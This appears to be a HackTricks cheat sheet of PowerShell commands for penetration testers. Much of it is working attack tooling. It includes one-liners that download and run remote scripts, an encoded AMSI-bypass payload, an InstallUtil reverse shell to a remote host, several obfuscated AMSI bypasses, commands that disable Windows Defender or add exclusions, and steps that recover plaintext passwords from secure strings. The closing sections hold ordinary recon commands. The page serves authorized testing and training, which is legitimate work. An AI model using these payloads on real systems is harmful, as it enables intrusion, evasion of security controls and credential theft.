Basic PowerShell for Pentesters

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Default PowerShell locations
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
Basic PS commands to start
Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>
Download & Execute
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
​
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
​
#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this: 
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
Download & Execute in background with AMSI Bypass
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=" 
Using b64 from linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>
Download
System.Net.WebClient
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
Wget
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
BitsTransfer
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
Base64 Kali & EncodedCommand
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>
Execution Policy
By default it is set to restricted. Main ways to bypass this policy:
1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
3º Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
4º Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
5º Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
6º Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
7º Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
8º Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
More can be found here​
Constrained language
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
Bypass
#Easy bypass
Powershell -version 2
In current Windows that Bypass won't work but you can use PSByPassCLM. To compile it you may need to Add a Reference -> Browse ->Browse -> add C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll and change the project to .Net4.5.
Direct bypass:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
Reverse shell:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
You can use ReflectivePick or SharpPick to execute Powershell code in any process and bypass the constrained mode. For more info check: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.
AppLockerPolicy
Check which files/extensions are blacklisted/whitelisted.
Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
Enable WinRM (Remote PS)
enable-psremoting -force #This enables winrm
​
# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator
​
Get-NetConnectionProfile |
  Where{ $_.NetWorkCategory -ne 'Private'} |
  ForEach {
    $_
    $_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
  }
Disable Defender
# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Add-MpPreference -ExclusionPath "C:\users\public\documents\magichk"
Set-MpPreference -ExclusionPath "C:\users\public\documents\magichk"
​
# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol
​
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1
​
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0
AMSI bypass
** amsi.dll** is loaded into your process, and has the necessary exports for any application interact with. And because it's loaded into the memory space of a process you control, you can change its behaviour by overwriting instructions in memory. Making it not detect anything.
Therefore, the goal of the AMSI bypasses you will are are to overwrite the instructions of that DLL in memory to make the detection useless.
AMSI bypass generator web page: https://amsi.fail/​
# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
​
# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1 
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)
​
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)
​
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( ) 
​
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)
​
# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)
​
# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/
​
# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass
​
# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
​
https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html
PS-History
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
Get permissions
Get-Acl -Path "C:\Program Files\Vuln Services" | fl
OS version and HotFixes
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Environment
Get-ChildItem Env: | ft Key,Value #get all values
$env:UserName @Get UserName value
Other connected drives
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
Recycle Bin
$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()
​https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/​
Domain Recon
PowerView/SharpView
Users
Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name
Secure String to Plaintext
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl
​
UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB
Or directly parsing form XML:
$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *
​
UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB
SUDO
#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)
​
#For local:
Start-Process -Credential ($cred)  -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"
​
#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred
​
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'
​
#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"
Groups
Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators
Clipboard
Get-Clipboard
Processes
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Services
Get-Service
Password from secure string
$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password
Scheduled Tasks
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
Network
Interfaces
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Firewall
Get-NetFirewallRule -Enabled True
​
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow
​
# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property  DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action
Route
route print
ARP
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
Hosts
Get-Content C:\WINDOWS\System32\drivers\etc\hosts
Ping
$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }
SNMP
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
Support HackTricks and get benefits!

Windows Hardening - Previous

Basic CMD for Pentesters

PowerView/SharpView

Last modified 14h ago

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On this page

Default PowerShell locations

Basic PS commands to start

Download & Execute

Download & Execute in background with AMSI Bypass

Using b64 from linux

Download

System.Net.WebClient

Invoke-WebRequest

Wget

BitsTransfer

Base64 Kali & EncodedCommand

Execution Policy

Constrained language

Bypass

AppLockerPolicy

Enable WinRM (Remote PS)

Disable Defender

AMSI bypass

PS-History

Get permissions

OS version and HotFixes

Environment

Other connected drives

Recycle Bin

Domain Recon

Users

Secure String to Plaintext

SUDO

Groups

Clipboard

Processes

Services

Password from secure string

Scheduled Tasks

Network

Interfaces

Firewall

Route

ARP

Hosts

Ping

SNMP